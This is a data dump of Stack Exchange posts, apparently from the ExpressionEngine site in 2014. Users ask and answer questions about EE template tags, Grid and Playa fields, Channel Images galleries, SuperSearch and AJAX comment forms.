  <row Id="20701" PostTypeId="1" CreationDate="2014-03-26T21:10:44.520" Score="1" ViewCount="57" Body="&lt;p&gt;having some problems with a GRID field type in my templates. I have an entrie setup with the grid field type containing three records.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot;}&#xA;    {body_image}&#xA;        COUNT1 | {body_image:count}&#xA;        COUNT2 | {count}&#xA;        FILE1 | {body_image:file}&#xA;        FILE2 | {file}&#xA;    {/body_image}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As expected the {count} outputs 1 since this is the channel:entries count.&#xA;The weird thing is i'd expect the {body_image:count} would output 1,2 and 3. But it's output is empty. This is also the case for {body_image:file}. The {file} tag does output the link to the images I added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain this since this is the exact syntax used in the documentation?&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2014-04-26T12:52:30.837" Title="GRID template syntac" Tags="|templates|grid|syntax|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20702" PostTypeId="1" CreationDate="2014-03-26T21:22:37.530" Score="2" ViewCount="449" Body="&lt;p&gt;I've created the following conditional which is displaying 0 content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;patterns&quot; orderby=&quot;title&quot; status=&quot;pending|camera-ready|closed|open&quot;}&#xA;{if oldnotes != &quot;&quot; }&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know there are a couple hundred entries with this field so I'm wondering what is wrong. It is just a text area field.&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-04-26T02:36:26.707" Title="custom field not blank conditional issue" Tags="|conditionals|textarea|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20703" PostTypeId="2" ParentId="20621" CreationDate="2014-03-26T23:00:22.957" Score="1" Body="&lt;p&gt;I'm using the HTTP Header add-on for this: &lt;a href=&quot;http://devot-ee.com/add-ons/http-header&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/http-header&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-03-26T23:00:22.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20704" PostTypeId="1" AcceptedAnswerId="20726" CreationDate="2014-03-27T00:34:44.103" Score="0" ViewCount="49" Body="&lt;p&gt;I have the latest version of SuperSearch installed on EE 2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to perform a search which fetches entries that belonged to 2 categories.&#xA;I need the output to be like this &lt;code&gt;category=&quot;Teeth&amp;amp;&amp;amp;Gums&quot;&lt;/code&gt;, at the moment the auto generated search URL is &lt;code&gt;category=&quot;Teeth+Gums&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i need to put a certain parameter in?&#xA;Functionally the search is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:search}&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:channel:categories&#xA;            category_group=&quot;1&quot;&#xA;            channel=&quot;resources&quot;&#xA;            disable=&quot;category_fields&quot;&#xA;            show_empty=&quot;no&quot;&#xA;            style=&quot;linear&quot;&#xA;        }&#xA;        &amp;lt;li&amp;gt;&#xA;            {exp:super_search:variables}&#xA;                &amp;lt;label for=&quot;category_{category_url_title}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; id=&quot;category_{category_url_title}&quot; name=&quot;category[]&quot; value=&quot;{category_url_title}&quot;  {if super_search_category_{category_url_title}} checked=&quot;checked&quot; {/if} &amp;gt;&#xA;                    {category_name}&#xA;                &amp;lt;/label&amp;gt;&#xA;            {/exp:super_search:variables}&#xA;         &amp;lt;/li&amp;gt;&#xA;         {/exp:channel:categories}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:channel:categories&#xA;            category_group=&quot;2&quot;&#xA;            channel=&quot;resources&quot;&#xA;            disable=&quot;category_fields&quot;&#xA;            show_empty=&quot;no&quot;&#xA;            style=&quot;linear&quot;&#xA;        }&#xA;        &amp;lt;li&amp;gt;&#xA;            {exp:super_search:variables}&#xA;                &amp;lt;label for=&quot;category_{category_url_title}&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; id=&quot;category_{category_url_title}&quot; name=&quot;category[]&quot; value=&quot;{category_url_title}&quot;  {if super_search_category_{category_url_title}} checked=&quot;checked&quot; {/if} &amp;gt;&#xA;                    {category_name}&#xA;                &amp;lt;/label&amp;gt;&#xA;            {/exp:super_search:variables}&#xA;         &amp;lt;/li&amp;gt;&#xA;         {/exp:channel:categories}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Filter!&quot;&amp;gt;&#xA;{/exp:super_search:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-27T15:41:03.803" Title="Show results which belong to 2 cateogires" Tags="|solspace|search|supersearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20705" PostTypeId="1" AcceptedAnswerId="20716" CreationDate="2014-03-27T01:29:31.467" Score="0" ViewCount="547" Body="&lt;p&gt;How to show a channel image gallery if there is more than 1 images inside?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;journal&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; cache=&quot;yes&quot; refresh=&quot;512640&quot;}  &#xA;&#xA;{if image:total &amp;gt; 1}&#xA;&#xA;&amp;lt;div class=&quot;mini-page-wrapper responsive-image bg-accent-darkest offset-parent&quot;&amp;gt;&#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; field=&quot;journal_images&quot;}&#xA;    &amp;lt;!-- ..code for my image gallery.. --&amp;gt;&#xA;{/exp:channel_images:images}        &#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the conditional global variable {if image:total &gt; 1} should be placed after {exp:channel_images} but i need to hide the parent div class too.. so..&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-03-27T09:41:26.253" Title="Showing Channel Image gallery IF there's more than 1 images?" Tags="|conditionals|channel-images|advanced-conditionals|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20706" PostTypeId="2" ParentId="20705" CreationDate="2014-03-27T01:49:57.650" Score="0" Body="&lt;p&gt;Are you saying you want to conditionally hide the parent div based on the total count, in addition to showing specific gallery code if count &gt; 1? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, can you move the div within the channel images tag and use the conditional twice - first  to add a class to hide said div and second to show specific gallery code? Not entirely sure what you're after here.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-03-27T01:49:57.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20707" PostTypeId="2" ParentId="20705" CreationDate="2014-03-27T02:00:11.623" Score="1" Body="&lt;p&gt;I have a solution below for you so what I have done is test 3 things &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) If there is more than 1 image do the gallery code only displaying the div html if the gallery exists so the first time it outputs the opening div the last image in the loop outputs the closing div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) If there is only 1 image I have you a space to do other code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) If there aren't any images i gave you a space for code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       {exp:channel:entries channel=&quot;journal&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; cache=&quot;yes&quot; refresh=&quot;512640&quot;}  &#xA;            {exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; field=&quot;journal_images&quot;}&#xA;                {if &quot;{image:total}&quot; &amp;gt; 1}&#xA;                   {if &quot;{image:count}¶&quot; == &quot;1&quot;}&#xA;                     &amp;lt;div class=&quot;mini-page-wrapper responsive-image bg-accent-darkest offset-parent&quot;&amp;gt;&#xA;                  {/if}&#xA;                       &amp;lt;!-- ..code for my image gallery.. --&amp;gt;&#xA;                  {if &quot;{image:total}&quot; == &quot;{image:count}&quot;}&#xA;                     &amp;lt;/div&amp;gt;&#xA;                  {/if}&#xA;               {if:elseif &quot;{image:total}&quot; == &quot;1&quot;}&#xA;                     &amp;lt;!-- Code displayed for only a single image -- &amp;gt;&#xA;               {/if}&#xA;               {if image:no_images}&#xA;                    &amp;lt;!-- Code displayed for no image results&#xA;               {/if}&#xA;           {/exp:channel_images:images} &#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-27T02:00:11.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20708" PostTypeId="2" ParentId="20702" CreationDate="2014-03-27T02:12:39.190" Score="1" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;patterns&quot; orderby=&quot;title&quot; status=&quot;pending|camera-ready|closed|open&quot;}&#xA;{if &quot;{oldnotes}&quot; != &quot;&quot; }&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should give you the results you need, or you could use this method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;patterns&quot; orderby=&quot;title&quot; status=&quot;pending|camera-ready|closed|open&quot;}&#xA;{if oldnotes}&#xA;{if:else}&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also suggest you try to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}&#xA;   &amp;lt;p&amp;gt;Hello World&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To test your entries tag is returning results.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-27T02:12:39.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20709" PostTypeId="1" AcceptedAnswerId="20715" CreationDate="2014-03-27T02:14:23.717" Score="1" ViewCount="93" Body="&lt;p&gt;A client has just emailed and none of the playa fields are working on the front end templates. No changes have been made to the EE or plugin setup to cause the issue. The site has been up and running for 12 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is 2.5.5&#xA;Playa 4.3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;quicklinks&quot;&amp;gt;&#xA; {exp:playa:children field=&quot;page_quicklinks&quot; limit=&quot;7&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{exp:structure:entries}{quicklink_url}{/exp:structure:entries}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; {/exp:playa:children}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;quicklinks&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Express Orthodontics&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Express Orthodontics&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Express Orthodontics&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Express Orthodontics&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Express Orthodontics&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Express Orthodontics&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Express Orthodontics&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;Express Orthodontics&quot; is the current page title not the playa item title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2014-03-27T13:33:32.310" LastActivityDate="2014-03-27T13:33:32.310" Title="Playa Just Stopped Working" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20710" PostTypeId="1" CreationDate="2014-03-27T03:27:29.397" Score="1" ViewCount="298" Body="&lt;p&gt;Anybody knows why Grid only displays the first 100 rows.  I have a grid with 267 rows in control panel, but when I pulled the grid in my templates, it only shows 100 rows.  Does anybody knows why?&lt;/p&gt;&#xA;" OwnerUserId="2525" LastActivityDate="2014-03-29T03:08:47.167" Title="Grid not displaying all the rows" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20711" PostTypeId="1" CreationDate="2014-03-27T06:14:24.970" Score="2" ViewCount="42" Body="&lt;p&gt;I am working on a site using 2.5.5 and it uses embeds and related entries quite heavily. The embeds are used to hand parsing data the way the site requires it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;q1 Should I upgrade straight to 2.8 or do it in stages? (if so what)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;q2 Does the updgrade change my templates and DB to support the new way embeds and related entries may be handled? &#xA;Will it break them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-03-27T15:52:20.407" Title="Upgrading from 2.5.5 to 2.8 with tons of embeds and reverse related entries?" Tags="|upgrade|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20712" PostTypeId="2" ParentId="20670" CreationDate="2014-03-27T06:29:59.247" Score="0" Body="&lt;p&gt;I removed the associated files from the MySQL database manually and deleted files from the server completely. Reinstalled Fieldpack fresh and it worked again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to remove both System and Themes files beforehand.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2014-03-27T06:29:59.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20713" PostTypeId="1" CreationDate="2014-03-27T07:14:25.330" Score="1" ViewCount="70" Body="&lt;p&gt;I have tried to use this below peace of code to auto add list for all the users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then based on user action try to remove entries from any existing list and add to new one that i wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But multiple parameter passing with pipe is not worked, so tried to duplicate the parameter and no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea of how i can achieve this out of the box. or its simple not possible with shortlist.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{exp:shortlist:add entry_id='entry_id' list_name='Alist' remove_from_list_name='Blist' remove_from_list_name='Clist' }&quot; class=&quot;prd-compare&quot;&amp;gt;&#xA;&amp;lt;span &amp;gt;Have this in &quot;Blist&quot;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;{exp:shortlist:add entry_id='entry_id' list_name='Blist' remove_from_list_name='Alist' remove_from_list_name='Clist'} &quot; class=&quot;prd-writerev&quot;&amp;gt;&amp;lt;span&amp;gt; Move to Your &quot;B list&quot;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My requirement is to build workflow of moving entries from one stage to another with single user action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help on this - try to get some idea from add on developer but no success sofar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me update here if i get anything in the meantime&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;sus&lt;/p&gt;&#xA;" OwnerUserId="2870" LastActivityDate="2014-03-27T07:14:25.330" Title="Shortlist - Multiple list validation and removal not working" Tags="|entries|solspace-rating|listing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20714" PostTypeId="2" ParentId="20710" CreationDate="2014-03-27T08:21:37.857" Score="3" Body="&lt;p&gt;I don't have enough Grid data to test this BUT it sounds very much like you are running into the 100 record limit that EE adds automatically to channel entries if you don't specifiy a limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting a high value for the limit=&quot;&quot; parameter, like 500 or so and see if that fixes it. It could be that without that parameter EE limits it to 100 automatically. &lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2014-03-27T08:21:37.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20715" PostTypeId="2" ParentId="20709" CreationDate="2014-03-27T08:42:13.833" Score="2" Body="&lt;p&gt;Sounds like the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html&quot; rel=&quot;nofollow&quot;&gt;var_prefix parameter&lt;/a&gt; is your friend in this case!&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-03-27T08:42:13.833" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20716" PostTypeId="2" ParentId="20705" CreationDate="2014-03-27T09:41:26.253" Score="0" Body="&lt;p&gt;dear Jessica D'Amico, thank you for your reply but I got it working just with embedding template technique:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;journal&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; cache=&quot;yes&quot; refresh=&quot;512640&quot;}  &#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; field=&quot;journal_images&quot;}&#xA;    {if &quot;{image:total}&quot; &amp;gt; 1}&#xA;        {if &quot;{image:total}&quot; == &quot;{image:count}&quot;}&#xA;                {embed=&quot;moyseion:journal/_slideshow-em&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        {/if}&#xA;    {/if}&#xA;{/exp:channel_images:images} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is my embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--altre foto--&amp;gt;&#xA;&amp;lt;div class=&quot;mini-page-wrapper&quot; data-role=&quot;story-part&quot; id=&quot;part-2&quot;&amp;gt;&#xA;  &amp;lt;section class=&quot;mini-page mini-page-semicompact&quot;&amp;gt;&#xA;    &amp;lt;header class=&quot;block-stack&quot;&amp;gt;&#xA;      &amp;lt;p class=&quot;block-right buttons-compact mobile-sm-1col mobile-sm-stack-compact&quot;&amp;gt;&#xA;    &amp;lt;a data-role=&quot;prev-section&quot; href=&quot;#part-intro&quot; class=&quot;button-like button-icon button-up bg-accent-darker&quot;&amp;gt;&#xA;      Previous&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a data-role=&quot;next-section&quot; href=&quot;#comments&quot; class=&quot;button-like button-icon button-down bg-accent-darker&quot;&amp;gt;&#xA;      Next&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;h1 class=&quot;three-fourths-page h2-like mobile-sm-1col mobile-sm-stack-compact&quot;&amp;gt;Altre foto:&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/header&amp;gt;&#xA;  &amp;lt;/section&amp;gt;&#xA;  &amp;lt;div data-role=&quot;slideshow-em&quot; class=&quot;slideshow-em offset-parent margin-bottom-1x&quot;&amp;gt;&#xA;&#xA;&amp;lt;nav data-role=&quot;slideshow-em-prev&quot; class=&quot;slideshow-em-nav corner-top-left fit-container-left high hidden&quot;&amp;gt;&#xA;  &amp;lt;button class=&quot;slideshow-em-button button-icon button-prev bg-accent-darker&quot;&amp;gt;Previous&amp;lt;/button&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&amp;lt;nav data-role=&quot;slideshow-em-next&quot; class=&quot;slideshow-em-nav corner-top-right fit-container-right high hidden&quot;&amp;gt;&#xA;  &amp;lt;button class=&quot;slideshow-em-button button-icon button-next bg-accent-darker&quot;&amp;gt;Next&amp;lt;/button&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&#xA;&amp;lt;ul data-role=&quot;slideshow-em-tray slideshow-lazy&quot; data-set-url=&quot;&quot; class=&quot;slideshow-em-tray reset-list offset-parent clearfix&quot;&amp;gt;&#xA;{exp:channel_images:images entry_id=&quot;{embed:entry_id}&quot; field=&quot;journal_images&quot;}&#xA;&#xA;    &amp;lt;li data-role=&quot;slideshow-em-slide&quot; class=&quot;slideshow-em-slide&quot;&amp;gt;&#xA;      &amp;lt;figure&amp;gt;&#xA;&#xA;      &amp;lt;div data-role=&quot;open-lightbox-image&quot;&#xA;            data-title=&quot;{title}&quot;&#xA;            data-src=&quot;{pre_proxy}{image:url:journal}{post_proxy}&quot;&#xA;            class=&quot;{image:switch='media-wrapper link-like bg-placeholder bg-loader|link-like media-wrapper moblg-col moblg-1-2 mobl-sm-hide bg-loader|link-like media-wrapper moblg-col moblg-1-2 mobl-sm-hide bg-loader'}&quot;&amp;gt;&#xA;&#xA;{exp:ce_img:pair src=&quot;{image:url:journal}&quot; width=&quot;220&quot; height=&quot;220&quot; crop=&quot;yes&quot; cache_dir=&quot;/WebStatic/s3/Blog/&quot; hide_relative_path=&quot;yes&quot; hash_filename=&quot;yes&quot;}&#xA;     &amp;lt;img class=&quot;full-width responsive-image bg-placeholder&quot;&#xA;     data-role=&quot;lazy-image&quot;&#xA;     data-lazy-image-animate=&quot;true&quot;&#xA;     src=&quot;data:image/gif;base64,R0lGODlhCgAKAIAAAP///wAAACH5BAEAAAAALAAAAAAKAAoAAAIIhI+py+0PYysAOw==&quot;&#xA;     alt=&quot;{if image:description}{image:description}{if:else}{title}{/if}&quot;&#xA;     data-lazy-image-url=&quot;{aws_url}&quot;&#xA; /&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;      &amp;lt;/div&amp;gt;&#xA;        {if image:description}&#xA;        &amp;lt;figcaption class=&quot;slideshow-em-caption&quot;&amp;gt;&#xA;          &amp;lt;a data-role=&quot;open-lightbox-image&quot; data-src=&quot;{pre_proxy}{image:url:journal}{post_proxy}&quot;&amp;gt;{image:description}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/figcaption&amp;gt;&#xA;        {/if}&#xA;      &amp;lt;/figure&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel_images:images}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--altre foto fine--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-03-27T09:41:26.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20719" PostTypeId="1" AcceptedAnswerId="20813" CreationDate="2014-03-27T11:38:42.927" Score="0" ViewCount="181" Body="&lt;p&gt;I am using malsup's form.js to help write an AJAX commenting feature for an application. The form.js is working for the contact form, although when I try to implement it for comments section the posts are successful, although the page always refreshes. Below is my script and EE tags, any feedback would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// prepare the form when the DOM is ready &#xA;$(document).ready(function() { &#xA;    $('#output2').hide();&#xA;    var options = { &#xA;        target:        '#output2',   // target element(s) to be updated with server response &#xA;        success:       showResponse  // post-submit callback &#xA;    }; &#xA;&#xA;    // bind to the form's submit event &#xA;    $('#review_submit').submit(function(event) { &#xA;        e.preventDefault();&#xA;        e.stopImmediatePropagation();&#xA;        $(this).ajaxSubmit(options); &#xA;        return false; &#xA;    }); &#xA;}); &#xA;&#xA;function showResponse(responseText, statusText, xhr, $form)  { &#xA;&#xA;    $('#output2').show();&#xA;    $('#output2').fadeIn(300).append('&amp;lt;p&amp;gt;Thanks for your interest, we have emailed you an issue pack!&amp;lt;/p&amp;gt;');&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;{exp:comment:form form_id=&quot;review_submit&quot; channel=&quot;accounts&quot; entry_id=&quot;{entry_id}&quot; dynamic=&quot;no&quot; rating:enabled=&quot;yes&quot; rating:allow_guests=&quot;yes&quot; rating:allow_multiple=&quot;yes&quot;}&#xA;                                                                        &#xA;                                                                    &#xA;                                                                              Name&#xA;                                                                            &#xA;                                                                        &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                                                    &amp;lt;div id=&quot;rating_it&quot;&amp;gt;&#xA;                                                                        &amp;lt;label&amp;gt;Rating&amp;lt;/label&amp;gt;&#xA;                                                                        &amp;lt;select name=&quot;rating[default]&quot;&amp;gt;&#xA;                                                                            &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;                                                                            &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;                                                                            &amp;lt;option value=&quot;3&quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;                                                                            &amp;lt;option value=&quot;4&quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;                                                                            &amp;lt;option value=&quot;5&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;                                                                        &amp;lt;/select&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                                                    &amp;lt;/div&amp;gt;        &#xA;                                                                    &amp;lt;div class=&quot;review_text&quot;&amp;gt;&#xA;                                                                        &amp;lt;label&amp;gt;Review&amp;lt;/label&amp;gt;&#xA;                                                                        &amp;lt;textarea id=&quot;mycomment&quot; name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;2&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;                                                                        &amp;lt;input type=&quot;submit&quot; value=&quot;Submit Rating  &amp;amp;raquo;&quot;&amp;gt;&#xA;                                                                    &amp;lt;/div&amp;gt;&#xA;&#xA;                                                        {/exp:comment:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2014-03-29T20:35:21.360" Title="Form Submission" Tags="|channel-entries|jquery|ajax|comments|comment-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20720" PostTypeId="2" ParentId="20701" CreationDate="2014-03-27T11:46:59.637" Score="1" Body="&lt;p&gt;Might help to check if your really using the GRID field_type and not the MATRIX by accident.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stupid mistake, but it solved my issue.&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2014-03-27T11:46:59.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20721" PostTypeId="1" CreationDate="2014-03-27T12:05:38.513" Score="1" ViewCount="155" Body="&lt;p&gt;I've created a template group called temp, and inside this template group I've create a few templates. But when I try to view the templates I get a 404 error. I've checked my files and the template.group folder is not being created. My permissions seem to be fine (every folder up to the root is 755). Any ideas why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2899" LastEditorUserId="69" LastEditDate="2014-04-06T19:24:31.030" LastActivityDate="2014-04-06T19:24:31.030" Title="Template group not appearing in file system" Tags="|templates|404|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
